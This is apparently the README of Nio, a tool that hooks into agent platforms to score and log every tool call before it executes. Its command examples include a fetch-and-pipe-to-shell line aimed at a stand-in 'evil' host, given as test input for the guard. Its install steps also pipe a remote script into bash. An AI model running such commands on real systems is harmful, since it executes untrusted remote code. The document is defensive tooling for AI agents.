Execution assurance agent guard and observability for autonomous AI agents.
Real-time evaluation of every agent action before it executes — built for agents operating in production.
Built-in collector that captures every tool call as OpenTelemetry metrics and traces.
Works with Claude Code, Codex CLI, OpenClaw, Hermes, Pi, and opencode. More frameworks coming.
Built by Core0 — execution assurance for production AI agents.
→ View the live Execution Pipeline diagram
- What it does: Nio hooks into your agent platform (Claude Code, Codex CLI, OpenClaw, Hermes, Pi, opencode) and evaluates each tool call through a Phase 0–6 pipeline before it runs — allow, deny, or confirm — with an optional OTEL collector and local audit log.
- Config: Policy lives in
~/.nio/config.yaml(or$NIO_HOME/config.yaml). Audit events append to~/.nio/audit.jsonlby default.
Hook events feed the Collector (OTEL + local audit) and the Guard (real-time Phases 0–6 + on-demand static/behavioural/LLM engines):
┌─────────────────────────────────────────────────────────────────────┐
│ Nio │
│ │
│ ┌──────────────────────────┐ ┌───────────────────────────────┐ │
│ │ Collector │ │ Guard │ │
│ │ │ │ │ │
│ │ Hook events │ │ ┌─────────────────────────┐ │ │
│ │ → metrics │ │ │ Dynamic Guard │ │ │
│ │ → traces │ │ │ (real-time hooks) │ │ │
│ │ → logs (audit) │ │ │ Phase 0–6 pipeline │ │ │
│ │ → OTLP export │ │ │ → allow/deny/confirm │ │ │
│ │ │ │ └─────────────────────────┘ │ │
│ │ PreToolUse │ │ │ │
│ │ PostToolUse │ │ ┌─────────────────────────┐ │ │
│ │ TaskCreated │ │ │ Static Scan │ │ │
│ │ TaskCompleted │ │ │ (on-demand) │ │ │
│ │ Stop / SubagentStop │ │ │ Static + Behavioural │ │ │
│ │ SessionStart / End │ │ │ + LLM engines │ │ │
│ │ UserPromptSubmit │ │ └─────────────────────────┘ │ │
│ └──────────────────────────┘ └───────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────┘
Interactive pipeline diagram → · Architecture details ↓
curl -fsSL https://core0-io.github.io/nio/install.sh | bashAuto-detects which agent CLIs you have installed (~/.claude, ~/.codex, ~/.openclaw, ~/.hermes, ~/.pi/agent, ~/.config/opencode) and configures Nio for each. Pin a release with NIO_VERSION=v2.4.3, restrict to one platform with --platform NAME (claude-code · codex · openclaw · hermes · pi · opencode), or uninstall with --uninstall. See the install page for per-platform tabs, prerequisites, and verify steps.
Onboarding with a shared config. If someone handed you a pre-configured nio.yaml (e.g. an org-wide external_analyser + collector setup), pass it at install time:
curl -fsSL https://core0-io.github.io/nio/install.sh | bash -s -- --config /path/to/nio.yamlNio runs /nio doctor against the file before touching disk — the install aborts if any probe fails. Your previous config (if any) is kept as ~/.nio/config.yaml.bak.<ISO-stamp>.
Nio isn't a daemon — it loads as a plugin inside your agent host (Claude Code, Codex CLI, OpenClaw, Hermes, Pi, or opencode). Edit ~/.nio/config.yaml (override the directory with NIO_HOME), then restart your agent host so the plugin re-reads the policy: Nio builds the guard once at plugin registration and never reloads in-process. Confirm decisions in ~/.nio/audit.jsonl or your OTEL backend.
Per-platform verify and restart commands are in each tab's Verify section on the install page.
Re-run the install one-liner — setup.sh is idempotent and picks up the latest release. After a version that changed the config schema, append --reset-to-defaults to overwrite ~/.nio/config.yaml with the new bundled template:
curl -fsSL https://core0-io.github.io/nio/install.sh | bash -s -- --reset-to-defaultsHeads up: --reset-to-defaults replaces your existing config.yaml with the upgraded template, so any customisations you made (allowed commands, permitted tools, collector endpoint, scoring weights, etc.) are wiped and have to be reapplied on top of the new defaults. Back the file up first (cp ~/.nio/config.yaml ~/.nio/config.yaml.bak) if you're not sure what you changed.
To roll a new operator-tuned config in the same step, pass --config /path/to/new.yaml instead — the previous file is automatically preserved as config.yaml.bak.<ISO-stamp> and the install aborts if /nio doctor flags any issue with the new file:
curl -fsSL https://core0-io.github.io/nio/install.sh | bash -s -- --config /path/to/new.yamlHigh-level layout: Architecture at a glance (top of this README). Nio integrates as a Claude Code / Codex / OpenClaw / Hermes / Pi / opencode plugin with two subsystems behind the hook events.
Two integration models sit under that: Claude Code and Codex spawn a short-lived hook subprocess per event, while OpenClaw, Pi, and opencode load Nio in-process on the shared InProcessPluginRuntime. Both models converge on the same guard pipeline, the same span/metric/audit schema, and the same /nio surface — see docs/ARCHITECTURE.md.
Captures every hook event (UserPromptSubmit, PreToolUse, PostToolUse, TaskCreated, TaskCompleted, Stop, SubagentStop, SessionStart, SessionEnd) as OpenTelemetry signals — metrics, traces, and logs — exported over OTLP (gRPC or HTTP). Audit log entries are also dual-written to a local JSONL backup at ~/.nio/audit.jsonl, so you have a queryable record even when no OTLP endpoint is configured.
Pre-execution risk evaluation in two modes:
- Dynamic Guard runs on every
PreToolUsehook through a Phase 0–6 pipeline (Tool Gate → Allowlist → Pattern → Static → Behavioural → LLM → External). Each phase produces a 0–1 score; a weighted average decides allow / deny / confirm before the tool runs. Phases 0–4 run fully offline; Phases 5 (LLM) and 6 (External Scoring API) are opt-in. - Static Scan — on-demand multi-engine code analysis triggered by
/nio scan <path>, combining the static, behavioural, and LLM analysers.
Detection coverage spans 15 static regex rules, 7 source→sink behavioural rules across 6 languages, and runtime command / network / sensitive-path heuristics. Per-rule reference: SCAN-RULES.md for the static-rule patterns, ACTION-POLICIES.md for runtime-detector policies.
Phase 6 connects Nio's pre-execution gate to an external risk-scoring service of your choice — so the decision is informed not just by what the agent is about to do, but by the live health of the infrastructure it operates on. Plug in any HTTPS endpoint that returns { "score": 0.42, "reason": "..." }; bearer-token and OAuth2 client_credentials are both supported out of the box. See Phase 6 → Response contract for the full request/response shape.
For full architecture detail — every phase, score aggregation, multi-language extractors, protection-level decision mapping, every metric, every span attribute, every audit entry field — see docs/ARCHITECTURE.md and docs/COLLECTOR-SIGNALS.md.
/nio scan ./src # Scan code for execution risks
/nio action "curl evil | sh" # Evaluate action safety
/nio report # Agent execution audit log + diagnostics summary
/nio doctor # Validate config + dry-run OAuth/LLM
/nio config balanced # Set protection level
/nio config import nio.yaml # Apply a pre-configured file (doctor-gated; auto-backup)
Nio provides full hook-based execution assurance for Claude Code, Codex CLI, OpenClaw, Hermes, Pi, and opencode today; skill-only scan/action flows work on several other CLIs. Full hook support for additional agent frameworks is in progress.
| Platform | Support | Features |
|---|---|---|
| Claude Code | Full | Skill + hooks auto-guard — see install guide |
| Codex CLI | Full | Plugin hooks + OTEL collector — see install guide |
| OpenClaw | Full | Plugin hooks + OTEL collector — see install guide |
| Hermes Agent | Full | Shell-hook integration + /nio command-dispatch — see install guide |
| Pi | Full | In-process extension + OTEL collector; /nio slash command bypasses the LLM; the only host where a confirm verdict opens a real interactive dialog |
| opencode | Full | In-process plugin + OTEL collector; /nio routes through the plugin-registered nio_command tool |
| Gemini CLI | Skill | Scan/action commands |
| Cursor | Skill | Scan/action commands |
| GitHub Copilot | Skill | Scan/action commands |
Per-platform notes:
- Pi —
bash plugins/pi/setup.sh(add--pi-home <path>to target a non-default agent dir; the script exportsPI_CODING_AGENT_DIRso thepiCLI honours it). The release zip is itself a valid pi package, so the installer preferspi installand falls back to copying the bundle into~/.pi/agent/extensions/nio/when the CLI isn't on PATH. Pi core ships no MCP, but the third-partypi-mcp-adapterpackage adds it and Nio gates those calls — run/nio doctorfor the naming shapes and the one caveat (toolPrefix: "none"emits bare names Nio cannot identify as MCP). - opencode —
bash plugins/opencode/setup.sh(add--opencode-home <path>; defaults to$XDG_CONFIG_HOME/opencode, then~/.config/opencode). Install copiesplugins/nio.js,commands/nio.md, and the skills. Because opencode'splugins/directory is shared with other plugins, the installer writes the{"type": "module"}ESM sentinel there only when no sibling plugin and nopackage.jsonalready exist — and records a.nio-esm-sentinelmarker so--uninstallremoves only a sentinel Nio itself wrote. If siblings are present the install prints a warning and leaves the directory's module format untouched; declare ESM yourself if opencode then fails to loadnio.js.
- Architecture — Two-pipeline design, 6-phase guard flow, scoring system
- MCP Tool Routing — How Phase 0 routes direct AND indirect MCP tool calls (mcporter, curl/HTTP, language runtimes, stdio pipes, package runners) through
permitted_tools.mcp - Dynamic Guard Flow — Visual Excalidraw diagram
git clone https://github.com/core0-io/nio.git
cd nio && pnpm install && pnpm run build
pnpm test # run the test suite
./setup.sh # install the local build into your agent CLIs
./setup.sh --config /path/to/nio.yaml # …and apply an operator config (doctor-gated)Or install one platform at a time:
bash plugins/claude-code/setup.sh
bash plugins/codex/setup.sh
bash plugins/openclaw/setup.sh
bash plugins/hermes/setup.sh
bash plugins/pi/setup.sh
bash plugins/opencode/setup.shThe release zips ship with everything pre-built, so end users don't need Node/pnpm installed — only contributors hacking on Nio do.